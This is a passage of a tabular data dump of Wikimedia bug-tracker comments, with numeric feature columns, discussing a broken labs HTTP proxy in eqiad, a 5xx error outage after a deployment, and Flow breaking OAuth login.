+This is not from my server",,,1394613156,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+287551,http proxy doesn't work on eqiad,"well http://wdjenkins.wmflabs.org/ci for me seesm to be working a hell of allot better than it was when I first commented on this bug and I have done nothing so I can only guess cracking up the dnsmasq cache did something!
+
+Will report back if anything else unexpected happens!",,,1394553663,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0
+287547,http proxy doesn't work on eqiad,"http://bots.wmflabs.org/ works for me now, I get the initial 'It works!' apache page.  bots.wmflabs.org resolves to 208.80.155.156
+
+I'm about to step onto a plane, but will check in with this bug when I arrive (which will take more than a day :(  )
+
+-A",,,1394551247,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,0
+287543,http proxy doesn't work on eqiad,Are you sure the 404s are not coming from your webserver?,,,1394549583,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0
+287540,http proxy doesn't work on eqiad,But it's not. I still see the error.,,,1394545998,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+287535,http proxy doesn't work on eqiad,This ought to be fixed by https://gerrit.wikimedia.org/r/#/c/118060/,,,1394531483,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+287531,http proxy doesn't work on eqiad,Now gateway was replaced with 404 error,,,1394528170,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+287528,http proxy doesn't work on eqiad,"I see only gateway errors. I don't know when these ""windows when it works"" are expected but I have never seen them, only errors.",,,1394528154,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,0
+287522,http proxy doesn't work on eqiad,"We have had an ongoing DNS problem in eqiad (well, and in pmtpa a little bit too.)  The dns cache for labs instances gets swamped and there are periodic, brief dns outages.
+
+The behavior that I've seen for proxied instances is that things mostly work, much of the time, but periodically I see an nginx gateway error.  These errors seem to correspond to the dns outages.
+
+1)  Does that explain this bug, or are we talking about something else here?
+
+2)  Are things any better today?  I just cranked up the dnsmasq cache on labnet1001 in hopes of easing this problem.",,,1394505708,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,1,1,0,0,0,1,1,0,0,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,0,1,1,0,1,1,0,1
+287517,http proxy doesn't work on eqiad,"Andre: regarding projects - all projects on labs which are using proxy, that are almost all projects with any web server",,,1394488936,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+287510,http proxy doesn't work on eqiad,"btw this doesn't work too
+80	80	tcp	0.0.0.0/0		
+443	443	tcp	0.0.0.0/0",,,1394488231,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+287503,http proxy doesn't work on eqiad,"Tim Landscheidt: why should people on NEW cluster open firewall to OLD cluster which is just going to be shut down? There is no point in doing that - it's the proxy servers which are borked and needs to be migrated to NEW cluster so that they see the servers on NEW cluster which is the cluster which matters now (OLD cluster is to be deleted, there is no point in adjusting NEW cluster to make it work with OLD cluster, you need to do that other way)",,,1394485698,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,1,0,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0
+287497,http proxy doesn't work on eqiad,"Just to make it clear YES I AM TALKING ABOUT WebProxy, not NovaAddress
+
+And yes it's still broken, so don't ask people if it's really on their side or if it's really broken because it is really broken. so fix it plz.
+
+wm-bot's public logs are down until the moment it is fixed because someone did disable creation of proxies for pmtpa which is only working cluster for proxies now. So no new proxies can be created.",,,1394485532,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,1,0,1,1,1,0,1,0,1,0,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+287493,http proxy doesn't work on eqiad,"Addshore: Just for the obvious questions:
+
+- This is a web proxy, i. e. [[wikitech:Special:NovaProxy]]?
+- Your security groups are open ""enough""?  (I. e. not 10.4.0.0/21, but 10.0.0.0/8?)
+- Can you access the webserver on your instance directly from other instances in Labs?",,,1394479102,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,0,0,0,1
+287488,http proxy doesn't work on eqiad,"This also seems to be happening for me sometimes, currently trying to move one of my instances and using a temporary domain wdjenkins2.wmflabs.org
+
+Specifically http://wdjenkins2.wmflabs.org/ci returns a 502.
+
+On my instance the web server is set up and watching the access.log not a single drop seems to get through.
+Oddly occasionally it will start working and I will see requests etc. coming through and then it will stop again.",,,1394459890,,PHID-USER-u7w6n5ecde66oujx33pe,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,0,0,1
+287485,http proxy doesn't work on eqiad,"As other projects seem to have successfully migrated, what is the instance's name and what doesn't work?
+
+Also, [[wikitech:Special:NovaAddress]] neither relays http nor proxies anything else, but just assigns public IPs.  The web proxy is managed at [[wikitech:Special:NovaProxy]].
+
+Reassigning to nobody until it's clear what's wrong.",,,1394449350,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+287481,http proxy doesn't work on eqiad,"Petr: Did you talk to Yuvi before assigning it to him? Is Yuvi aware?
+Adding blocker bug 62042.
+
+> blocks migration of all projects that require http
+
+How many projects are roughly affected? Priorities should reflect reality...",,,1394448295,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+287478,http proxy doesn't work on eqiad,"nobody seem to care, pushing even higher priority :P time is running out and people can't migrate instance because of this",,,1394443647,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-69,True,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0
+287474,http proxy doesn't work on eqiad,"given that this blocks migration of all projects that require http, I push the priority to top",,,1393973067,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-ycoafngq74gnsddcxplf,task_subcomment,,True,c3,1,True,,,-70,True,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+62970,HTTP 5xx Wikimedia Errors,"on https://meta.wikimedia.org/wiki/Main_Page
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: critical",Unbreak Now!,100.0,1391704680,1391729039.0,PHID-USER-omdcggvudfkuawipp23i,False,,False,PHID-TASK-iycnpw4brr3hvodnv3s6,task_description,resolved,True,c3,1,False,False,True,-73,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+290793,HTTP 5xx Wikimedia Errors,"Created attachment 14515
+Error 5xx rate today, for the records
+
+Basically we had two partial outages lasting 10-20 minutes each on random pages served, if the 5xx error rate graph is to be trusted. I don't know if someone is able to calculate what portion of users/viewers was affected: 125k errors/s is three times the total pageviews/s and the same as total requests, as reported by https://gdash.wikimedia.org/dashboards/reqsum/
+
+(In reply to comment #9)
+> Due to Math extension (texvc) apparently.
+
+http://lists.wikimedia.org/pipermail/wikitech-l/2014-February/074321.html
+When some conditions piled up.
+
+**Attached**: {F13243}",,,1391730760,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,1,0,0,1,0,0,1
+290785,HTTP 5xx Wikimedia Errors,"(In reply to comment #8)
+> Appears to have been caused by some issue with the wmf12 deploy.  Everything
+> has been reverted to wmf11.  The root cause of the issue was not identified. 
+> Can anyone else add anymore details?
+Due to Math extension (texvc) apparently.",,,1391729039,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,False,,,-73,True,1,1,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1
+290777,HTTP 5xx Wikimedia Errors,Appears to have been caused by some issue with the wmf12 deploy.  Everything has been reverted to wmf11.  The root cause of the issue was not identified.  Can anyone else add anymore details?,,,1391721610,,PHID-USER-2qzpsivaeuezrxqtzhwn,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,False,,,-73,True,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0
+290771,HTTP 5xx Wikimedia Errors,Getting it again.,,,1391715537,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,False,,,-73,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+290764,HTTP 5xx Wikimedia Errors,"Issue should be fixed now:
+
+<Reedy> What caused it is fairly obvious (trying to run 3 versions of MW simultaneously). Why that was happening is a differnt matter
+<Reedy> It should be fine now...",,,1391706359,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+290757,HTTP 5xx Wikimedia Errors,Also worth to watch https://wikitech.wikimedia.org/wiki/Server_admin_log,,,1391704948,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+290752,HTTP 5xx Wikimedia Errors,"Good spike in https://gdash.wikimedia.org/dashboards/reqerror/
+
+Assuming this is about
+""WIKIMEDIA FOUNDATION
+Error
+Our servers are currently experiencing a technical problem. This is probably temporary and should be fixed soon. Please try again in a few minutes."",
+
+Operations is looking at it in #wikimedia-operations on IRC.",,,1391704885,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+290748,HTTP 5xx Wikimedia Errors,It's being investigated in -operations right now.,,,1391704790,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+290744,HTTP 5xx Wikimedia Errors,"I don't see any error. In general, describing the error is a good first step for a bug report. :) See https://www.mediawiki.org/wiki/How_to_report_a_bug",,,1391704747,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,True,,,-73,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+290739,HTTP 5xx Wikimedia Errors,also on https://en.wikipedia.org/wiki/Hildegund,,,1391704702,,PHID-USER-omdcggvudfkuawipp23i,False,,,PHID-TASK-iycnpw4brr3hvodnv3s6,task_subcomment,,True,c3,1,False,,,-73,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+60705,Flow is breaking OAuth login,"I currently get a 500 error when trying to login in the gerrit uploader. This basically makes the uploader useless.
+
+--------------------------
+**Version**: unspecified
+**Severity**: blocker
+**URL**: https://tools.wmflabs.org/gerrit-patch-uploader/oauth-callback?oauth_verifier=6cf9ad17806bbd30adcc941956af2f11&oauth_token=7d64f00ae120ffff36982fe64063300d",Unbreak Now!,100.0,1387482600,1387559006.0,PHID-USER-2trxtywh5ma4onasf4kq,False,,False,PHID-TASK-hhdidtpgin3lbked7bfb,task_description,resolved,True,c3,1,False,False,True,-80,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+277436,Flow is breaking OAuth login,This appears to be fixed now.,,,1387559006,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,True,,,-80,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+277431,Flow is breaking OAuth login,"Change 102861 merged by jenkins-bot:
+Update Echo and Flow.
+
+https://gerrit.wikimedia.org/r/102861",,,1387501154,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+277427,Flow is breaking OAuth login,"Change 102861 had a related patch set uploaded by Spage:
+Update Echo and Flow
+
+https://gerrit.wikimedia.org/r/102861",,,1387500684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+277423,Flow is breaking OAuth login,"Change 102851 merged by jenkins-bot:
+Add rtl and ltr icons for flow notification
+
+https://gerrit.wikimedia.org/r/102851",,,1387499261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+277419,Flow is breaking OAuth login,"Change 102851 had a related patch set uploaded by Spage:
+Add rtl and ltr icons for flow notification
+
+https://gerrit.wikimedia.org/r/102851",,,1387499230,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+277415,Flow is breaking OAuth login,"Change 102855 merged by jenkins-bot:
+Allow icons to set different ltr/rtl versions
+
+https://gerrit.wikimedia.org/r/102855",,,1387499053,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+277411,Flow is breaking OAuth login,"Change 102855 had a related patch set uploaded by Bsitu:
+Allow icons to set different ltr/rtl versions
+
+https://gerrit.wikimedia.org/r/102855",,,1387498598,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+277407,Flow is breaking OAuth login,"Change 102750 abandoned by EBernhardson:
+Allow icon paths to be resolved when requested
+
+Reason:
+abandon in favor of https://gerrit.wikimedia.org/r/102834
+
+https://gerrit.wikimedia.org/r/102750",,,1387495654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1
+277400,Flow is breaking OAuth login,"Change 102783 merged by jenkins-bot:
+Allow defining clousre for notification icon path
+
+https://gerrit.wikimedia.org/r/102783",,,1387492254,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hhdidtpgin3lbked7bfb,task_subcomment,,True,c3,1,False,,,-80,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+277395,Flow is breaking OAuth login,"Change 102783 had a related patch set uploaded by Spage:
+Allow defining clousre for notification icon path
+
